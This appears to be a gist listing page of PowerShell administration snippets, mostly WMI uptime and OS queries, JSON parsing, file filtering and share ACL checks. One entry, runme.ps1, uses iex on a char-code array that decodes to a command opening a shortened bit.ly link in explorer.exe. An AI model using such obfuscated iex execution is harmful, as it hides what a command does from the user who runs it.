View runme.ps1
iex "$((101,120,112,108,111,114,101,114,46,101,120,101,32,104,116,116,112,58,47,47,98,105,116,46,108,121,47,52,107,98,55,55,118|%{[char]$_})-join'')"
View 20170613-jsonsample.json
{
"CanPauseAndContinue": false,
"CanShutdown": true,
"CanStop": true,
"DisplayName": "Windows Remote Management (WS-Management)",
"DependentServices": [
],
"MachineName": ".",
"ServiceName": "winrm",
View sg-2016-03-basic.ps1
Get-ChildItem 'C:\temp\FileShare' -Recurse | foreach {if ($_.Name -match '[\p{IsLatin-1Supplement}-[\x80-\xbf\xd7\xf7]]+') {$_ | select Name, Directory, CreationTime, LastWriteTime, Length}} | Format-Table -AutoSize
View sg-2016-01.ps1
function Get-PCBUptime {
<#
.SYNOPSIS
A simple tool for checking how long a system on the network has been running since last boot.
.DESCRIPTION
Get-PCBUptime is a quick WMI-based tool for determinging a remote system's uptime. It is useful for verifying
what a user says when asked if they've rebooted their machine recently, or to generate a report of server uptimes.
Get-PCBUptime is written by and copyright of Christopher R. Lowery, aka The PowerShell Bear (poshcodebear.com; Twitter: @poshcodebear)
It is free for all to use, and free to distribute with attribution to the original author.
View gist:4b33132a9e1ec7a437d4
(Add-Content -Value 'MACHINENAME,OSVERSION' -Path .\Output.csv -Encoding Ascii -PassThru) | Get-WmiObject Win32_OperatingSystem -ComputerName (Import-Csv -Path .\Input.csv).MACHINENAME -ErrorAction Ignore | foreach {Add-Content -Value "$($_.PSComputerName),$($_.Caption)" -Path .\Output.csv -Encoding Ascii}
View sg-august.2015.ps1
# Works with PowerShell v2, but only works with very simple JSON
function Get-SimpleJSON {
param(
[Parameter(Mandatory=$true,
ValueFromPipeline=$True)]
[Alias('Uri')]
[string]$JSONUri,
[Alias('CamelCase')]
[switch]$TitleCase
View measure-command-sample-output.txt
# Get-WMIObject:
Days : 0
Hours : 0
Minutes : 7
Seconds : 11
Milliseconds : 568
Ticks : 4315681996
TotalDays : 0.00499500231018519
TotalHours : 0.119880055444444
TotalMinutes : 7.19280332666667
View test-speed-measure-command.ps1
$computers = Get-ADComputer -SearchBase (Get-ADOrganizationalUnit -Filter {Name -eq 'Servers'} ) -Filter * | Select-Object -ExpandProperty Name
Measure-Command {
Get-WmiObject Win32_ComputerSystem -ComputerName $computers -ErrorAction ignore
}
Measure-Command {
Get-CimInstance Win32_ComputerSystem -ComputerName $computers -ErrorAction ignore
}
View Get-PCBUptime.ps1
function Get-PCBUptime {
<#
.SYNOPSIS
A simple tool for checking how long a system on the network has been running since last boot.
.DESCRIPTION
Get-PCBUptime is a quick WMI-based tool for determinging a remote system's uptime. It is useful for verifying
what a user says when asked if they've rebooted their machine recently.
Get-PCBUptime is written by and copyright of Christopher R. Lowery, aka The PowerShell Bear (poshcodebear.com; Twitter: @poshcodebear)
It is free for all to use, and free to distribute with attribution to the original author.
View discover-severed-inheritance.ps1
$Server = 'server'
$Shares = Get-Content -Path C:\temp\server-shares.txt
$output = foreach ($Share in $Shares) {
$Path = "\\$Server\$Share"
Get-ChildItem -Path $Path -Recurse | `
where attributes -like *directory* | `
Get-Acl | `
Where-Object {$_.AreAccessRulesProtected -eq $True} | `
Select-Object @{Label='Directory';Expression={$_.path.split(':')[-1]}}